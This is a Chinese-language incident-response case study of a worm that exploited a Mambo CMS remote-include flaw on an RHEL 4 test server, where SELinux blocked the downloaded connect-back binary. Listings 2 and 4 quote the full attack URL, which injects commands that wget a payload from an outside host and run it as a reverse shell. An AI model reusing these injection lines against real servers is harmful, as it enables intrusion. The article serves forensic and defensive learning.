Mambo 漏洞被 SELinux 阻止
如果您运营连接互联网的服务器,您最终可能需要处理一次成功的攻击。去年,我发现,尽管在一个测试 Web 服务器 (targetbox) 上部署了多层防御,但攻击者仍然设法利用一个漏洞,部分成功地尝试获取访问权限。这台服务器运行的是 Red Hat Enterprise Linux 4 (RHEL 4) 和 Mambo 内容管理系统。它部署了多重防御,包括 Security-Enhanced Linux (SELinux)。SELinux 阻止了攻击者执行攻击的第二阶段,可能阻止了 root 权限的泄露。
本文介绍了一个入侵响应的案例研究,解释了我如何发现入侵,我采取了哪些步骤来识别漏洞,我如何从攻击中恢复,以及我从系统安全中学到了哪些经验教训。出于隐私原因,我已经更改了机器名称和 IP 地址。
攻击中涉及的计算机
targetbox:192.168.166.155—我们的服务器,运行 RHEL 4 和 Mambo。
wormhole:10.9.233.25—蠕虫攻击源。
zombieweb:172.16.31.57—托管攻击载荷的 Web 服务器。
cbackbox:10.200.238.39—第二阶段蠕虫可执行文件的目标。
如今,谨慎的系统管理员使用分层安全方法来保护他们的机器,包括使用防火墙、自动化补丁管理系统、日志分析工具以及最近的 SELinux。SELinux 提供了超出传统 UNIX 安全模型提供的额外访问控制。最近的 Red Hat Enterprise Linux 和 Fedora Core 版本都有一个名为“目标策略”的 SELinux 策略实现。它的目的是将多个软件包中程序的权限限制在它们正确操作所需的最低限度。这可以阻止依赖于对某些文件或目录具有读取、写入或执行访问权限的攻击。
2006 年 5 月 6 日星期六大约上午 8:00,我在审计 targetbox 上的日志时,在 /var/log/messages 中注意到一条奇怪的 SELinux 强制消息
May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277): avc: denied { execute_no_trans } for pid=9401 comm="sh" name="cback" dev=dm-0 ino=852100 scontext=user_u:system_r:httpd_sys_script_t tcontext=user_u:object_r:httpd_sys_script_rw_t tclass=file
我使用 locate 尝试快速识别 cback
# locate cback /tmp/cback /usr/share/pixmaps/gnome-ccbackground.png /usr/lib/libartscbackend.la /usr/lib/libartscbackend.so.0.0.0 /usr/lib/libartscbackend.so.0
file 命令显示了 cback 的可执行文件类型
# file /tmp/cback /tmp/cback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped
用户 apache 拥有该文件,但它的日期比 targetbox 上初始操作系统安装日期早几个月
# ls -i /tmp/cback 852100 /tmp/cback [root@targetbox ~]# ls -lZ /tmp/cback -rwxr--r-- apache apache user_u:object_r:httpd_sys_script_rw_t /tmp/cback [root@targetbox ~]# ls -lai /tmp/cback 852100 -rwxr--r-- 1 apache apache 13901 Feb 15 2005 /tmp/cback
这证实了 cback 就是审计消息中的文件,因为它具有 inode 编号 852100。
如果 locate 没有找到该文件,我可以使用 find 尝试通过 inode 识别该文件
# find / -inum 852100 2>/dev/null /tmp/cback
鉴于脚本的名称,它可能旨在作为回调程序。由于 apache 用户拥有该文件,我检查了 Web 服务器日志文件以寻找证据。
由于攻击程序位于 /tmp 中,我保存了它的副本以供后用
# cp -a cback /root
从其中的字符串 (清单 1) 判断,攻击程序似乎与套接字有关。
清单 1. 攻击载荷字符串
# strings cback /lib/ld-linux.so.2 libc.so.6 printf connect strerror execl dup2 sleep socket inet_addr wait fork htons __errno_location exit atoi _IO_stdin_used __libc_start_main close __gmon_start__ GLIBC_2.0 PTRh [^_] %s <host> <port> cannot create socket, retrying in 5 seconds socket ok error: %s retting in 5 seconds /bin/sh fork error, retry in 5 seconds
Web 服务器日志文件有许多可疑请求,其中一些使用命令注入和 wget 攻击 Mambo,一些攻击其他 CMS 系统。我使用 grep 复制了所有包含 php 或 wget 的行,并将它们放在 /root/exploit.log 中。清单 2 包含最近一次尝试的跟踪记录。
清单 2. Web 服务器访问日志中的攻击跟踪
# grep 10.9.233.25 /root/exploit.log /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php ↪?_REQUEST[option]=com_content&_REQUEST[Itemid] ↪=1&GLOBALS=&mosConfig_absolute_path= ↪http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp; ↪wget%20172.16.31.57/cback;chmod%20744%20cback; ↪./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 200 594 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:24 -0400] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST ↪[Itemid]=1&GLOBALS=&mosConfig_absolute_path= ↪http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp; ↪wget%20172.16.31.57/cback;chmod%20744%20cback; ↪./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:25 -0400] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST ↪[Itemid]=1&GLOBALS=&mosConfig_absolute_path= ↪http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp; ↪wget%20172.16.31.57/cback;chmod%20744%20cback; ↪./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" /var/log/httpd/access_log:10.9.233.25 - - [04/May/2006:07:52:27 -0400] "POST /xmlrpc.php HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
日志文件确实包含两条非常有用的线索;它证实 cback 二进制文件与对 Mambo 的请求有关。此外,查询字符串证实攻击者使用了命令行 URL 获取工具 wget 从远程服务器检索漏洞利用程序。Web 服务器请求尝试使用 IP 地址参数 10.200.238.39 执行 cback 可执行文件,这可能是攻击者控制的另一台机器。
攻击尝试执行以下 shell 命令序列
cd /tmp wget 172.16.31.57/cback chmod 744 cback ./cback 10.200.238.39 8080 echo YYY echo| HTTP/1.1
回到 /var/log/messages,我搜索了更多可疑的 SELinux 强制消息。清单 3 包含与 Web 服务器攻击时间匹配的行。
清单 3. SELinux 审计消息
May 4 07:52:24 targetbox kernel: audit(1146743544.910:2275): avc: denied { ioctl } for pid=9399 comm="wget" name="error_log" dev=dm-0 ino=1624085 scontext=user_u:system_r:httpd_sys_script_t tcontext=root:object_r:httpd_log_t tclass=file May 4 07:52:24 targetbox kernel: audit(1146743544.911:2276): avc: denied { ioctl } for pid=9399 comm="wget" name="error_log" dev=dm-0 ino=1624085 scontext=user_u:system_r:httpd_sys_script_t tcontext=root:object_r:httpd_log_t tclass=file May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277): avc: denied { execute_no_trans } for pid=9401 comm="sh" name="cback" dev=dm-0 ino=852100 scontext=user_u:system_r:httpd_sys_script_t tcontext=user_u:object_r:httpd_sys_script_rw _t tclass=file
这似乎是一个蠕虫,因为 www.pkrinternet.com(在不同的机器上,但在同一子网上)也在同一时间左右收到了来自 10.9.233.25 的请求,如清单 4 所示。
清单 4. 附近服务器上蠕虫活动的验证
$ grep 10.9.233.25 \ /var/log/httpd/www.pkrinternet.com-access_log 10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index2.php?option=com_content&do_pdf=1&id= ↪1index2.php?_REQUEST[option]=com_content&_REQUEST ↪[Itemid]=1&GLOBALS=&mosConfig_absolute_path= ↪http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp; ↪wget%20172.16.31.57/cback;chmod%20744%20cback; ↪./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST ↪[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= ↪&mosConfig_absolute_path= ↪http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp; ↪wget%20172.16.31.57/cback;chmod%20744%20cback; ↪./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" [ ...output trimmed ]
显示与 stockpot 对 Mambo、xmlrpc.php、drupal 和 phpgroupware 的跟踪类似的进一步攻击的行也出现在此 grep 中。
蠕虫仅向默认虚拟主机发出请求,因此蠕虫很可能没有在其请求中使用 Host: 虚拟主机标头。这表明它正在扫描 IP 子网以寻找易受攻击的主机,而不是通过主机名列表工作。
cback 文件的修改时间是 2005 年 2 月 5 日。这可能是 wget 检索的远程系统上文件的修改时间。wget 通常会重置它下载的文件的修改时间,以匹配它们的原始修改时间。清单 5 显示了如何询问文件上的所有时间戳。
清单 5. 调查文件时间戳
$ for x in atime access status use; do > echo -n "$x " > ls -l --time=$x /tmp/cback > done [rbulling@targetbox ~]$ for x in atime access status use mtime; do > echo -n "$x " ; ls -l --time=$x /tmp/cback > done atime -rwxr--r-- 1 apache apache 13901 May 6 11:33 /tmp/cback access -rwxr--r-- 1 apache apache 13901 May 6 11:33 /tmp/cback status -rwxr--r-- 1 apache apache 13901 May 4 07:52 /tmp/cback use -rwxr--r-- 1 apache apache 13901 May 6 11:33 /tmp/cback
cback 二进制文件可能创建于 5 月 4 日上午 07:52,与 wget 命令注入攻击相对应。那是上次修改文件属性的时间。虽然 UNIX 不允许您检索文件的真实创建时间,但状态时间通常可以代替它。其他时间与我自己对 cback 文件的初始调查时间相对应。如果我更小心,我可以在读取 cback 文件之前执行此 ls 命令,以便 atime、访问时间和使用时间将是攻击者设置的那些时间。
因为这看起来像一个攻击 Mambo 的蠕虫,所以在 Google 上搜索“mambo worm”找到了对该攻击的引用,包括来自 ComputerWorld、Outpost24、F-Secure 和 Bugtraq 的文章(请参阅资源)。
Mitre 常见漏洞和暴露项目提供了一个已知漏洞字典。它简要概述了漏洞的特征,并引用了确认问题的安全邮件列表和网站。在 www.cvw.mitre.org 上搜索“mambo”产生了大约二十几个已知漏洞——其中一个 (CVS-2005-3738) 与 mosConfig_absolute_path 有关,mosConfig_absolute_path 是请求 URL 中严重损坏的变量之一。
在阅读了最近围绕 Mambo 的恶意软件活动后,我看到攻击向量可能与新闻报道和漏洞数据库中描述的 Net-Worm.Linux.Mare.d 蠕虫变种密切相关。但是,攻击 targetbox 的一些可执行文件的名称与漏洞报告中命名的攻击可执行文件略有不同。
为了以最安全的方式运行这些安全分析工具,您需要断开问题计算机与所有网络的连接,并从已知良好的介质启动,然后再尝试分析入侵。这样,任何剩余的攻击程序都将无法攻击您网络上的其他机器,并且入侵者不会通过与机器交互来中断您的调查。在分析入侵时,您将无法使用该系统,并且可能需要时间来组装一个可以在救援磁盘上工作的分析工具包。虽然这比在可能已受损的正在运行的系统上运行分析工具花费更多的时间和准备工作,但它提供了更高程度的保证,即漏洞不会传播到您网络上的其他机器。
将整个磁盘备份到可移动驱动器也是一个好主意。您可以使用如下命令来完成这项工作
# dd if=/dev/hda1 of=/mnt/removable-drive/disk.img bs=512k
然后,您可以使用循环设备挂载和分析备份(请参阅“Linux 下的磁盘映像”资源部分)。分析原始系统可能更快更容易,但拥有此备份以用于取证目的很好。
在理想的世界中,您可以在意识到攻击成功的那一刻就做到这一点。但是,有时您必须评估漏洞的严重程度,并在可用时间和资源之间取得平衡。
看起来任何闯入者都可以读取或写入 apache 用户可访问的任何文件。这将包括 Mambo 的 PHP 配置文件,其中包含 MySQL 数据库用户名和密码。我更改了该密码,只是为了确保入侵者不能使用它来尝试进一步的权限提升。
对我来说幸运的是,这只是一个测试安装,因此为了防止未来的漏洞,我完全删除了 Mambo 安装。我也可能尝试升级软件以消除漏洞。
当用户帐户被盗用时,您需要面对攻击者可能获得超级用户 (root) 帐户访问权限的危险。如果攻击者获得 root 权限,则从攻击中恢复会变得更加困难。大多数时候,您需要从已知良好的介质重新安装操作系统,并仔细且有选择地审计和恢复软件配置。设法获得 root 访问权限的攻击者通常会安装 rootkit——一种将自己隐藏起来不被随意检查,并提供远程控制后门或其他恶意功能的软件。幸运的是,一个名为 chkrootkit (来自 chkrootkit.org) 的程序可以帮助扫描活动 rootkit。清单 6 显示了 targetbox 上以静默模式运行 chkrootkit 的输出。
清单 6. chkrootkit 输出
# chkrootkit -q /usr/lib/firefox-1.0.4/chrome/.reregchrome /usr/lib/firefox-1.0.6/chrome/.reregchrome /usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs /usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs/ ↪.system.lock /usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs/ ↪.systemRootModFile /usr/lib/firefox-1.0.8/chrome/.reregchrome /usr/lib/firefox-1.0.7/chrome/.reregchrome /usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/ ↪auto/mod_perl/.packlist /usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs INFECTED (PORTS: 465)
chkrootkit 程序检查和分析 rootkit 和蠕虫通常留下的各种文件。它警告意外位置的隐藏文件以及恶意软件经常使用的端口上运行的服务。快速检查显示,此列表中列出的隐藏文件都是无害的。端口 465 上的 INFECTED 警告是误报,因为这台计算机正在运行一个 Web 服务器,该服务器在端口 465 上侦听 https。在这种情况下,分析 chkrootkit 输出并没有发现真正的 rootkit 问题。当您知道攻击者已经穿透您的防御时,即使 chkrootkit 的检查并非结论性的,运行它也可以让您更加安心。
服务器在攻击时使用目标策略运行 SELinux。最初发出警报,表明一切不正常的审计日志消息是一条访问被拒绝消息。Web 服务器错误日志以注入的 shell 代码的输出形式提供了更多详细信息,包括 wget 会话和尝试执行 wget 时产生的访问被拒绝消息,如清单 7 所示。
清单 7. 显示攻击跟踪的 Web 服务器错误日志
[Thu May 04 07:52:24 2006] [error] [client 10.9.233.25] File does not exist: /var/www/html/mambo [client 10.9.233.25] PHP Warning: main(http://ess.trix.net/therules.dat): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found\r\n in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 13 [client 10.9.233.25] PHP Warning: main(): Failed opening 'http://ess.trix.net/therules.dat' for inclusion (include_path='.:/usr/share/pear') in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 13 [client 10.9.233.25] PHP Notice: Undefined variable: pro4 in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 69 [ ...output trimmed ] [client 10.9.233.25] PHP Notice: Undefined variable: SERVER_SOFTWARE in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 112 [client 10.9.233.25] PHP Notice: Undefined variable: SERVER_VERSION in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 112 --07:52:24-- http://172.16.31.57/cback => `cback' Connecting to 172.16.31.57:80... connected. HTTP request sent, awaiting response... [Thu May 04 07:52:25 2006] [error] [client 10.9.233.25] File does not exist: /var/www/html/cvs 200 OK Length: 13,901 (14K) [text/plain] 0K .......... ... 100% 110.90 KB/s 07:52:27 (110.90 KB/s) - `cback' saved [13901/13901] sh: ./cback: Permission denied [client 10.9.233.25] PHP Notice: Undefined variable: ch_msg in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 202 [ ...output trimmed...] [client 10.9.233.25] PHP Fatal error: Cannot redeclare safemode() (previously declared in http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php:129) in http://172.16.31.57/cmd.gif?/includes/footer.php on line 129
SELinux 阻止了 cback 可执行文件的运行,使 targetbox 免受蠕虫的下一阶段攻击。
新版本的 Mambo 关闭了攻击者利用的漏洞,因此我可以安装新版本而不会受到相同漏洞的影响。
分析攻击所需的许多工具已经是所有现代 Linux 发行版的核心部分。结合现代搜索引擎的力量和已知漏洞的公开披露,您通常可以确定有关攻击性质的大量信息。
从源代码安装某些东西进行测试,然后将其留在公开可用的计算机上,使系统容易受到攻击。这个测试安装位于 Web 服务器上主虚拟主机的文档根目录中,这使其更加暴露且容易被蠕虫发现。
许多基于 PHP 的系统都有安装说明,基本上告诉您将软件解压缩到 Web 服务器的文档根目录中的某个位置,然后修改一些配置文件。对于 PHP 系统,您通常不能使用相同类型的干净的操作系统范围内的打包,因为每个安装都使用一组不同的 PHP 模板。从安装 Mambo 到攻击发生大约经历了 11 个月,在此期间我根本没有更新软件。
使用 yum 或 apt-get 更新 Mambo 将有助于保持其最新状态。当我开始调查 Mambo 时,我找不到它的 RPM 包,尽管此后第三方已经为 Mambo 创建了 RPM。操作系统供应商和软件作者需要致力于改进 Web 系统的自动软件维护机制。
SELinux 确实在关键时刻挽救了局面,阻止了漏洞利用程序的运行。如果没有 SELinux 的保护,这很容易演变成 root 权限泄露,需要进行更广泛的分析和恢复工作。
资源
SELinux:www.nsa.gov/selinux
Mambo:www.mamboserver.com
Red Hat SELinux 指南:www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide
ComputerWorld 关于 Mambo 蠕虫的文章:www.computerworld.com/securitytopics/security/story/0,10801,108868,00.html?source=x73
Outpost24 关于 Mambo 蠕虫的文章:www.outpost24.com/ops/delta/FrameIndex.jsp?page=/ops/delta/news/News.jsp%3FXID%3D1157%26XVCLANGUAGEID%3D
F-Secure 蠕虫报告:www.f-secure.com/v-descs/mare_d.shtml
Bugtraq 关于 Mambo 漏洞的信息:archives.neohapsis.com/archives/bugtraq/2006-02/0463.html
常见漏洞和暴露字典:www.cve.mitre.org
常见漏洞和暴露 Mambo 问题:www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3738
“Linux 下的磁盘映像”:www.mega-tokyo.com/osfaq/Disk%20Images%20Under%20Linux
Mambo RPM 包:dag.wieers.com/packages/mambo
Richard Bullington-McGuire 是 PKR Internet, LLC 的管理合伙人,该公司是一家位于弗吉尼亚州阿灵顿的软件和系统咨询公司,专门从事 Linux、开源和 Java 领域。他还创立了 The Obscure Organization,这是一个通过技术促进创造力和社区的非营利组织。自 1994 年以来,他一直担任 Linux 系统管理员。您可以通过 rbulling@pkrinternet.com 与他联系。